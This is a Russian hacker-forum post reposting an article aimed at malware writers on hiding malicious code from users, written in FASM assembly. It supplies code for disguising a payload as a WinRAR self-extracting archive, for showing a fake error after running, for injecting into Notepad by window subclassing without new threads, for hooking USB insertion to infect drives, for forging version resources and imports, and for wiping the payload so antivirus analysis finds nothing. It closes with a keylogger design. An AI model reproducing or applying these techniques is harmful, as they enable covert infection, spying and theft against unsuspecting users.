Hackers-Street.Ru  
Вернуться   Hackers-Street.Ru > [News] > Библиотека > Статьи(чужие)
Поиск Сообщения за день Все разделы прочитаны

Статьи(чужие) библиотека форума

Ответ
Старый 20.03.2011, 19:00   #1
sk8den
Новичок
 
Аватар для sk8den
 
Регистрация: 15.04.2010
Сообщений: 40
Вы сказали Спасибо: 11
Поблагодарили 7 раз(а) в 6 сообщениях
Репутация: 8
Radioactive 16 Техники маскировки малвари

0. Введение

Как понятно из заголовка, речь в данной статье пойдет о маскировке вредоносного кода. Просмотрев достаточно большое количество современной малвари я был крайне неприятно удивлен. Сегодня мало кто заботится о маскировке, ограничившись, в лучшем случае, лишь парой общеизвестных антиотладочных методик, забывая при этом, что помимо антивирусов существуют еще и пользователи. Хочется верить, что данная статья хоть как-то повлияет на ситуацию, хотя бы среди русских разработчиков зловреда. Речь пойдет о usermode, никакой антиотладки, обфускации, 0-day техник для обхода всего, что только можно тут вы не увидите, об этом итак писалось уже много раз. Примеры упрощены до максимума: маскироваться мы будем от пользователя и только от пользователя.
Статья поделена на несколько этапов, начиная с маскировки свежее внедренного зловреда и заканчивая обоснованием в системе. Каждый этап статьи сопровождается демонстрационным кодом, также прилагается пример использования всех описанных в статье методик – достаточно примитивный кейлоггер, не создающий процессов/потоков. От читателя потребуются знания основ программирования под windows на, выражаясь языком одного из участников форума, «быдокодерском» ассемблере (синтаксис FASM):)
Также, обращаю ваше внимание, что местами код, приведенный в статье, и код, используемый в примерах различаются. Сделано это было исключительно для облегчения понимания происходящего и уменьшения размера статьи. Что ж, приступим.

1. Внедрение

Непосредственно описание самих методик внедрения лежат за пределами данной статьи, здесь будет описан лишь процесс маскировки внедряемого файла. Для этих целей я предлагаю простой, но действенный способ – подделка под Self Extracting Archive-архив (далее SFX). В качестве жертвы я выбрал WinRAR, но вы можете выбрать любой другой и просто повторить действия, описанные в данной части статьи.
Итак, что же представляет из себя SFX-архив? Это небольшой (относительно) модуль-распаковщик и дописанный в конец файла (в т.н. оверлей; в основном поступают именно так) или где-нибудь в теле (редко, но все-же встречается) архив. При запуске модуль, в зависимости от заданных параметров, показывает диалоговое окно или просто распаковывает в нужное место прикрепленный архив. Т.к. мы лишь создаем видимость, сходство с настоящим SFX-архивом будет лишь внешним, т.е. никаких окон создавать не придется (хотя это, конечно, по желанию:) От оригинального SFX-модуля нам потребуются: ресурсы, секция данных и секция импорта. Конечно, неофит практически наверняка запустит программу, ничего не заподозрив, но опытный пользователь, скорее всего, захочет убедиться в подлинности архива. Некоторые могут даже поковырять таблицу импорта или пройтись по файлу hex-редактором, так что нужно быть готовыми ко всему. Это накладывает определенные ограничения на наш код. В частности – у нас не может быть таблицы импорта, все функции мы должны находить сами. Впрочем, обо всем по порядку.
Размер WRar-SFX модуля составляет 101 кб. и, дабы не вызывать лишних подозрений, мы будем стремиться к этому размеру, как к эталону. Попросту говоря в конец нашей секции с кодом будет дописываться N-ное количество двордов с псевдослучайным содержимым, где N - разница между размером нашей кодовой секции ($-Start) и кодовой секции оригинального SFX’а (13A00h):

repeat (13A00h-($-Start))/4
random
dw __RND__ shr 16
dw 0
end repeat

Также, это выравнивание поможет нам избежать некоторых проблем в будущем, об этом ниже.
Получить секцию данных не составит особого труда - ее можно извлечь практически любым PE-редактором (я использовал для этих целей PE Tools), тоже самое касается секции ресурсов. Касательно импорта ситуация несколько иная: FASM не умеет автоматически перестраивать таблицу импорта для расположения ее по новым адресам, поэтому нам остается либо прибегать к помощи сторонних утилит (как вариант - написанию макроса), либо, что мы и сделаем, размещению таблицы импорта по тому же виртуальному адресу. В принципе, особо делать ничего не нужно - всего лишь выровнять секцию данных:

section '.data' data readable
.data:
file 'wrar\data.dat'
rb 7000h-($-data)
section '.idata' import data readable
file 'wrar\import.dat'
section '.rsrc' data readable resource from 'wrar\sfx.res'

Помимо простоты в исполнении это дает нам еще и внешнее сходство таблиц секций. Правда, если ваш зловред перевесит допустимые пределы и сместит импорт за пределы адреса 1C000h, то таблицу импорта придется все же перестраивать.
Итак, наш псевдо-SFX готов, осталось добавить в оверлей архив.

Правда, остается один нюанс. Обычный архив нам не подойдет, т.к. его содержимое можно очень легко просмотреть (хоть тем же WinRar’ом). Чтобы обезопасить себя и не вызывать лишних подозрений наш архив будет иметь флаг «шифрование заголовков» (0x0080). Дело в том, что с таким заголовком без ввода пароля не удастся получить даже параметры архива (такие, как количество файлов и размер словаря). Фактически вместо тела архива может быть записано абсолютно все, что угодно. Этой особенностью мы и воспользуемся. Внешне это будет выглядеть так:

Попытки просмотреть содержимое архива, опять же, не дадут никаких результатов, а т.к. пароля попросту не существует, подобрать его будет очень непросто:) Чтобы автоматизировать процесс добавления «архива» в оверлей, предлагаю в очередной раз воспользоваться замечательными возможностями FASM. Нижеприведенный код, будучи собранным FASM’ом добавит в оверлей «шифрованный архив», который представляет из себя набор псевдослучайных двойных слов:

file 'malware.exe'

db 0x52,0x61,0x72,0x21,0x1A,0x07,0x00,0x40,0x79,0x73
db 0x8C,0x00,0x0D,0x00,0x00,0x00,0x00,0x00,0x00,0x00

__RND__ = 0
__SEED__ = %t

macro random ;by S.T.A.S.
{__SEED__ = (__SEED__ mod 127773 * 16807) - (__SEED__ / 127773*2836)
__RND__ = __SEED__ mod 0xFFFFFFFFF }

random
repeat __RND__ mod 1024*30+1
random
dd __RND__
end repeat

Ну вот, с нанесением грима на исполняемый модуль мы закончили. Теперь без использования специализированных утилит (вроде отладчика и дизассемблера) уличить нас в распространении зловреда будет очень непросто. Хотя нет, пока что достаточно запустить программу на исполнение и понять, что что-то не так:) Приступим к маскировке «времени исполнения». Конечно, можно создавать окно а-ля оригинальный SFX, но проще при запуске выполнить свои «грязные» действия, показать окно с ошибкой и завершить работу. При этом будет весьма неплохо, если программа будет выполнять какие-нибудь «сложные расчеты» пару секунд. Чтобы избежать проблем с не русскоязычными версиям Windows сообщение будем получать функцией «FormatMessage».

sub eax,eax
push eax
mov ecx,esp
invoke FormatMessage,FORMAT_MESSAGE_FROM_SYSTEM+FORMAT_ME SSAGE_ALLOCATE_BUFFER,eax,5AAh,eax,ecx,eax,eax
mov ecx,[esp]
sub eax,eax
invoke MessageBox,eax,ecx,eax,MB_ICONERROR
call [LocalFree]
invoke ExitProcess,eax

2. Маскировка процесса

Маскировка процесса, на мой взгляд, одна из основных наших задач после внедрения в систему, т.к. во многом именно от этого зависит, заподозрит ли что-нибудь пользователь или нет. Есть множество путей решения этой проблемы, в частности инфицирование системных файлов, однако я считаю, что модификация исполняемых файлов на диске – метод достаточно заметный. У нас есть несколько вариантов развития событий:
1. не прятать процесс вовсе
2. создание удаленного потока
3. прятать процесс перехватом системных функций/модификацией структур
4. сабклассинг окна
Первый вариант откидываем сразу, второй и третий были описаны уже столько раз, что это становится скучно. Мы пойдем последним путем – будем сабкассить окно и работать в контексте чужого процесса, при этом, не создавая своих процессов/потоков.

Из-за специфики метода внедрения в чужое АП с этого момента в силу вступают новые ограничения: наш код должен быть базонезависимым (код, приведенный в статье в таком виде использовать нельзя, см. исходник, прилагающийся к статье).
Первое, что нам необходимо – найти окно-жертву, я в качестве жертвы выбрал NOTEPAD.EXE (в процессе отладки приложение имеет свойство часто работать неверно и падать, поэтому внедряться сразу в EXPLORER.EXE несколько неразумно:)

szWndName db 'Notepad',0
hWnd dd ?
dwProccessID dd ?
dwThreadID dd ?
hProcess dd ?
;...
sub eax,eax
invoke FindWindow,szWndName,eax
test eax,eax
je error
invoke GetWindowThreadProcessId,[hWnd],dwProccessID
mov [dwThreadID],eax
sub eax,eax
invoke OpenProcess,PROCESS_DUP_HANDLE,eax,[dwProccessID]
test eax,eax
je error
mov [hProcess],eax

Окно получено, процесс открыт, можно готовиться к внедрению. Учитывая, что мы будем находиться в чужом АП и модуль будет браться с диска, доступа к API-функциям у нас не будет, поэтому придется позаботиться об этом заранее. Для удобства представления информации заведем структуру «ur_MMF»:

struct ur_MMF
OpenEvent dd ?
SetEvent dd ?
VirtualAlloc dd ?
SetWindowLong dd ?
GetWindowLong dd ?
GetModuleHandle dd ?
FreeLibrary dd ?
SetTimer dd ?
KillTimer dd ?
dwModBase dd ?
;...
ends

Есть несколько способов передачи процессу больше 4х байт информации (в смысле, гораздо больше:) и все они сводятся к Memory Mapped Files. Для передачи описателя нашего MMF мы воспользуемся функцией «DuplicateHandle».

szFileMapping db 'ur_FileMappingName',0
hMapping dd ?
lpMapping dd ?
hFileMapping dd ?
;...
sub eax,eax
lea ecx,[eax-1]
invoke CreateFileMapping,ecx,eax,PAGE_READWRITE,eax,FILE_ MAPPING_SIZE,szFileMapping
test eax,eax
je error
mov [hMapping],eax
sub ecx,ecx
invoke MapViewOfFile,eax,FILE_MAP_WRITE,ecx,ecx,FILE_MAPP ING_SIZE
test eax,eax
je error
mov [lpMapping],eax
sub ecx,ecx
lea edx,[ecx-1]
invoke DuplicateHandle,edx,[hMapping],[hProcess],hFileMapping,ecx,ecx,DUPLICATE_SAME_ACCESS
invoke CloseHandle,[hProcess]
mov eax,[lpMapping]
mov ecx,[OpenEvent]
mov [eax+ur_MMF.OpenEvent],ecx
mov ecx,[SetEvent]
mov [eax+ur_MMF.SetEvent],ecx
mov ecx,[VirtualAlloc]
mov [eax+ur_MMF.VirtualAlloc],ecx
mov ecx,[SetWindowLong]
mov [eax+ur_MMF.SetWindowLong],ecx
mov ecx,[GetWindowLong]
mov [eax+ur_MMF.GetWindowLong],ecx
mov ecx,[GetModuleHandle]
mov [eax+ur_MMF.GetModuleHandle],ecx
mov ecx,[FreeLibrary]
mov [eax+ur_MMF.FreeLibrary],ecx
mov ecx,[SetTimer]
mov [eax+ur_MMF.SetTimer],ecx
mov ecx,[KillTimer]
mov [eax+ur_MMF.KillTimer],ecx

Также, нам необходимо знать, когда процесс внедрения завершен и можно заметать за собой следы. Для этих целей мы будем использовать события. Также, нашей структуре появляется новый элемент.

struct ur_MMF
;...
szEventName rb 200
;...
ends
;...
szEventName db 'ur_EventName',0
hEvent dd ?
;...
sub eax,eax
invoke CreateEvent,eax,eax,eax,szEventName
test eax,eax
je error
mov [hEvent],eax
mov eax,[lpMapping]
lea eax,[eax+ur_MMF.szEventName]
invoke strcpy,eax,szEventName

Код внедрения представляет из себя пресловутый Windows Hook, и ничего необычного тут нет. Мы просто устанавливаем перехват на один процесс и ждем сигнала от обработчика:

hHook dd ?
;...
sub eax,eax
invoke GetModuleHandle,eax
invoke SetWindowsHookEx,WH_GETMESSAGE,Inject,eax,[dwThreadID]
invoke PostMessage,[hWnd],0xDEAD,[hFileMapping],[MapViewOfFile]
invoke WaitForSingleObject,[hEvent],10000
invoke UnhookWindowsHookEx,[hHook]

Код обработчика выполняется уже в контексте атакуемого процесса, поэтому нам необходимо выделить место под код и установить процедуру-обработчик для окна (собственно, сабклассировать окно).

proc Inject,nCode,wParam,lParam
local hEvent dd ?
sub eax,eax
cmp [nCode],eax
jne .ret
mov eax,[lParam]
cmp dword[eax+MSG.message],0xDEAD
je @F
.ret: ret

@@: pusha
call @F
@@: pop edi
sub edi,@B

sub ebx,ebx
;в lParam мы передали адрес функции MapViewOfFile, в wParam лежит описатель файла
stdcall dword[eax+MSG.lParam],[eax+MSG.wParam],FILE_MAP_READ+FILE_MAP_WRITE,ebx,ebx,sizeof.ur_MM F
mov [edi+lpAPITbl],eax
xchg eax,esi

virtual at esi
.esi ur_MMF
end virtual

lea eax,[.esi.szEventName]
lea ecx,[ebx+1]
invoke .esi.OpenEvent,EVENT_ALL_ACCESS,ecx,eax
test eax,eax
je .end
mov [hEvent],eax

invoke .esi.VirtualAlloc,ebx,ur_CodeSize,MEM_COMMIT,PAGE_ READWRITE
test eax,eax
je .exit
lea ecx,[edi+ur_CODE]
push eax
push eax
stdcall memcpy,eax,ur_CodeSize,ecx
mov eax,[lParam]
mov ebx,[eax]
invoke .esi.SetWindowLong,ebx,GWL_WNDPROC
lea ecx,[edi+hOldWndProc]
lea edx,[edi+ur_CODE]
sub ecx,edx
pop edx
mov [edx+ecx],eax

sub eax,eax
invoke .esi.GetModuleHandle,eax
mov [.esi.dwModBase],eax

.exit: invoke .esi.SetEvent,[hEvent]
.end: popa
ret
endp
;...
lpAPITbl dd ? ;указатель на нашу структуру

Финальный штрих: код обработчика окна. По большому счету это самая обыкновенная оконная процедура. Правда, есть одно НО - мы не получим сообщения «WM_INITDIALOG», а нужных нам библиотек в АП чужого процесса может и не быть. Решить это можно разными путями, в частности загрузкой нужных DLL на предыдущем этапе, но это может занять достаточно много времени что не очень безопасно. Я выбрал иной путь – при первом запуске сработает безусловный переход на инициализирующий код, который первым делом затрет переход NOP’ами и выполнит все необходимые действия (загрузка DLL, поиск API и т.д.).

proc ur_CODE,hWnd,uMsg,wParam,lParam
pusha
sub ebx,ebx

call @F
@@: pop edi
sub edi,@B

mov esi,[edi+lpAPITbl]
virtual at esi
.esi ur_MMF
end virtual

.path_here:
jmp near .first_run

mov eax,[uMsg]
cmp eax,WM_TIMER
je .evil
cmp eax,WM_DESTROY
je .TheEnd

.ret: push [lParam]
push [wParam]
push [uMsg]
push [hWnd]
push dword 0x00000000
hOldWndProc = $-4
call [.esi.CallWindowProc]
mov [esp+1Ch],eax
popa
ret

.evil: mov eax,[wParam]
cmp eax,0DEFACEh
jne .ret
;evil...
jmp .ret

.TheEnd:
;cleanup
invoke .esi.KillTimer,[hWnd],0DEFACEh
jmp .ret

.first_run:
mov eax,90909090h
mov [edi+.path_here+0],eax
mov [edi+.path_here+4],al
;init
invoke .esi.FreeLibrary,[.esi.dwModBase]
invoke .esi.SetTimer,[hWnd],0DEFACEh,ur_EvilInterval,ebx
jmp .ret
endp
;...
ur_CodeSize = $-urCODE

Как видите – ничего сложного здесь нет. Вместо таймера можно выбрать что-нибудь другое. К примеру, создать асинхронный сокет и ждать команды бот-мастера.
Данный метод очень хорош, но его можно еще немного улучшить. Например, копировать свой код не в память, выделенную по средствам «VirtualAlloc» (при размещении кода в таком участке это очень хорошо видно на карте памяти), а путем поиска свободного места в памяти процесса или же ставить длинный безусловный переход на пролог оригинальной функции-обработчике (подобно «сплайсингу»). В общем, как говорится, есть, где развернуться.
Если вы все еще сомневаетесь в практичности данного метода, вот несколько доводов в его пользу:

не создает лишних потоков/процессов
не висит «левой» DLL в АП процесса
не один известный мне инструмент такие инжекты не обнаруживает
возможность писать в свой исполняемый файл
оконные сообщения, вроде WM_DEVICECHANGE

Минусов замечено не было :)
На последнем пункте хотелось бы остановиться по подробнее. Сообщение «WM_DEVICECHANGE» рассылается всем окнам и может быть использовано, к примеру, для заражения флешек:

;...
cmp [uMsg],WM_DEVICECHANGE
je .inf_flash
;...
.inf_flash:
cmp dword[wParam],DBT_DEVICEARRIVAL
jne .ret
mov eax,[lParam]
cmp dword[eax+4],DBT_DEVTYP_VOLUME
jne .ret
bsf ecx,[eax+0Ch]
jecxz .ret
lea eax,[ecx+'A'] ;в EAX буква диска
stdcall infect_device,eax
jmp .ret

Реализация функции «infect_device» остается на совести читателя:)

3. Закрепление в системе

Итак, мы в системе. Достаточно наивно полагать, что наш «SFX-архив», находясь в списке авто загружаемых модулей, не вызовет подозрений.

Конечно, можно носить с собой дополнительный модуль и записывать его на диск при необходимости, но ведь куда более грамотно будет просто сменить грим: у нас будет каждый раз разная информация о версии, уникальный импорт и разнообразный бред в секции данных, разный размер модуля. За эту уникальность придется заплатить еще одним ограничением: код, данные и все, что нам нужно должно храниться в одной секции. Т.к. код у нас уже базонезависим, а импорт отсутствует – реализовать задуманное не составит особого труда.
Смену грима начнем, пожалуй, с секции данных. Изначально планировалось копировать секцию данных из оригинального EXE-модуля, но на практике оказалось, что этот вариант не очень хорош, т.к. в секции с данными редко встречаются текстовые строки. Будем генерировать данные сами и записывать их в секцию данных. С данными разобрались, можно переходить к ресурсам. Задача эта весьма тривиальна, ОС предоставляет нам все необходимые для этого инструменты. Слегка упрощенная функция для поиска случайного файла и последующего «выдирание» из него информации о версии может выглядеть примерно так:

proc FindRES,lpMem
locals
szBuff rb 400
fndata WIN32_FIND_DATA
hFind dd ?
dwLen dd ?
ch1 db ?
ch2 db ?
hFile dd ?
lpRes dd ?
dwResSize dd ?
endl
lea eax,[szBuff]
invoke GetSystemDirectory,eax,260
test eax,eax
je .ret
mov [dwLen],eax
.rnd_file:
mov eax,'z'-'a'
call prng
add eax,'a'
mov [ch1],al
mov eax,'z'-'a'
call prng
add eax,'a'
mov [ch2],al

mov eax,[dwLen]
lea ecx,[szBuff+eax]
mov dword[ecx+0],'\х*й' ; (:P
mov dword[ecx+4],'*.ex'
mov word[ecx+8],'e'
mov dl,[ch1]
mov byte[ecx+1],dl
mov dl,[ch2]
mov byte[ecx+3],dl

lea eax,[szBuff]
lea ecx,[fndata]
invoke FindFirstFile,eax,ecx
test eax,eax
js .rnd_file
mov [hFind],eax

lea eax,[szBuff]
add eax,[dwLen]
mov byte[eax],'\'
inc eax
lea ecx,[fndata.cFileName]
stdcall strcpy,eax,ecx

lea eax,[szBuff]
invoke LoadLibrary,eax
test eax,eax
je .bad_name
mov [hFile],eax
invoke FindResource,eax,1,RT_VERSION
test eax,eax
je .close_bad
mov [lpRes],eax
invoke SizeofResource,[hFile],eax
test eax,eax
je .close_bad
mov [dwResSize],eax
invoke LoadResource,[hFile],[lpRes]
test eax,eax
je .close_bad
mov [lpRes],eax
invoke LockResource,[lpRes]
test eax,eax
je .close_bad
movzx ecx,word[eax]
cmp ecx,[dwResSize]
ja .close_bad
add ecx,3
and ecx,0FFFFFFFCh
mov [dwResSize],ecx
stdcall memcpy,[lpMem],eax,ecx
invoke FreeLibrary,[hFile]
invoke FindClose,[hFind]
mov eax,[dwResSize]
jmp .ret

.close_bad:
invoke FreeLibrary,[hFile]
jmp .bad_name

.ret_0: sub eax,eax
.ret: ret
endp

Как не сложно заметить:), в коде используется функция «LoadLibrary», имеющая привычку выводить ругательства на «неправильные» библиотеки. Эти сообщения необходимо предусмотрительно отключить функцией «SetErrorMode» (см. код в архиве).
В целях экономии места, в данном коде отсутствует проверка на «правильные» имена (довольно странно прикидываться пасьянсом «Косынка», не находите?:), а также фильтрация по критерию «только от МС». Ничего сложного тут нет, а результат, как говорится, на лицо:

Последним штрихом в нашей маскировке будет подложный импорт. Т.к. вызывать эти функции мы не будем, проблем с составлением таблицы импорта у нас не возникнет. В целях экономии места, код здесь приводить не буду, желающие могут заглянуть в исходник

Также, на тот случай, если пользователь вдруг что-нибудь заподозрит мы дополнительно, после выполнения всех запланированных мероприятий по инфицированию системы и вывода сообщения об ошибке, удалим из SFX’а вредоносный код. Конечно, это лишит данный экземпляр нашей малвари возможности размножения, но в тоже время, даже если пользователь отдаст файл на анализ в АВ - там ничего не найдут. Процедура «зачистки» будет выглядеть так:

proc kill_malcode,lpFile
locals
hFile dd ?
hMap dd ?
lpMap dd ?
endl
pusha
sub ebx,ebx
invoke CreateFile,[lpFile],GENERIC_READ+GENERIC_WRITE,FILE_SHARE_READ,ebx,OP EN_EXISTING,ebx,ebx
test eax,eax
js .ret
mov [hFile],eax
invoke CreateFileMapping,eax,ebx,PAGE_READWRITE,ebx,ebx,e bx
test eax,eax
je .closef
mov [hMap],eax
invoke MapViewOfFile,eax,FILE_MAP_READ+FILE_MAP_WRITE,ebx ,ebx,ebx
test eax,eax
je .closem
mov [lpMap],eax
mov ecx,[eax+3Ch]
add ecx,eax
lea ecx,[ecx+0F8h]
mov ecx,[ecx+14h]
lea edi,[eax+ecx+MALICIOUS_CODE_OFFSET]
sub eax,eax
mov ecx,MALICIOUS_CODE_SIZE
shl ecx,2
rep stosd
invoke UnmapViewOfFile,[lpMap]
.closem:invoke CloseHandle,[hMap]
.closef:invoke CloseHandle,[hFile]
.ret: popa
ret
endp

Примечание. Примеры к статье, при заражении системы, код для размножения с собой не берут, т.е. способность для размножения у них отсутствует. Исправить эту ситуацию предельно просто - немного расширить границы «MALICIOUS_CODE_OFFSET» и «MALICIOUS_CODE_SIZE» (условно), а также завести переменную «dwFirstRun» (или что-то вроде), дабы при загрузке системы не выводить сообщение об ошибке.

4. Практический пример: кейлоггер

Чтобы как-то суммировать вышеописанное поговорим немного о практическом примере, напишем простенький, но максимально приближенный к своему «боевому» аналогу, кейлоггер, использующий описанные выше методики. Работать он будет, используя функцию «GetRawInputData» (появилась, начиная с WinXP). Логгер наш будет максимально простым, он будет уметь только запоминать нажатые клавиши, следить за буфером обмена, время от времени делать скришоты, а также реагировать на смену окон и раскладок клавиатуры (поддерживает только ENG и RUS). Поговорим немного об устройстве нашего кейлоггера.
Наличие легального окна очень поможет нам в слежении за буфером обмена. Для этого мы будем использовать функцию «SetClipboardViewer». Каждый раз, при смене содержимого буфера обмена система любезно уведомит нас об этом событии сообщением «WM_DRAWCLIPBOARD». Уведомления о нажатых клавишах также будут приходить нам прямо в окно, в виде сообщения «WM_INPUT». Для мониторинга ключа автозапуска мы воспользуемся функцией «RegNotifyChangeKeyValue». К сожалению, напрямую с окнами она взаимодействовать не умеет. Мы создадим ожидающий изменений тред, который и будет отсылать сообщение нашему окну:

WM_REGCHANGE = WM_USER+0DEFACEDh
struct RegChange
hKey dd ?
szKey rb 260
dwFilter dd ?
ends
;...
proc RegMonitorThread uses esi,lpRegChange
mov esi,[lpRegChange]
@@: sub eax,eax
invoke RegNotifyChangeKeyValue,[esi+RegChange.hKey],eax,[esi+RegChange.dwFilter],eax,eax
lea eax,[esi+RegChange.szKey]
invoke SendMessage,[Wnd],WM_REGCHANGE,[esi+RegChange.hKey],eax
cmp [dwExitFlag],1
jne @B
exit: ret
endp

5. Заключение

Ну, вот и все, что я хотел рассказать по поводу маскировки. Конечно, это защита только от пользователя и она далеко не идеальна (а местами даже весьма наивна), но с другой стороны, «положа руку на сердце», неужели, вы каждый раз, встретив сообщение об ошибке, лезете в отладчик?.. Использовать вышеописанные методики в «голом» виде было бы полнейшим маразмом - маскировка это мероприятие сложное и комплексное, как минимум необходимо добавить еще антиотладочные трюки, защиту от запуска на VM, полиморфный движок и т.д. Написано об это много (даже, пожалуй, слишком много) и проблем с этим возникнуть не должно. Комментировать код я не умею и не люблю, но примеры понятны и без моих безграмотных комментариев :) Если есть какие-то вопросы, пожелания, критика, багрепорты и т.д. - буду рад выслушать.

Спасибо за внимание.
__________________
взломаем прланету
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 0 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
sk8den вне форума   Ответить с цитированием
Ответ


Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Текущее время: 23:25. Часовой пояс GMT +3.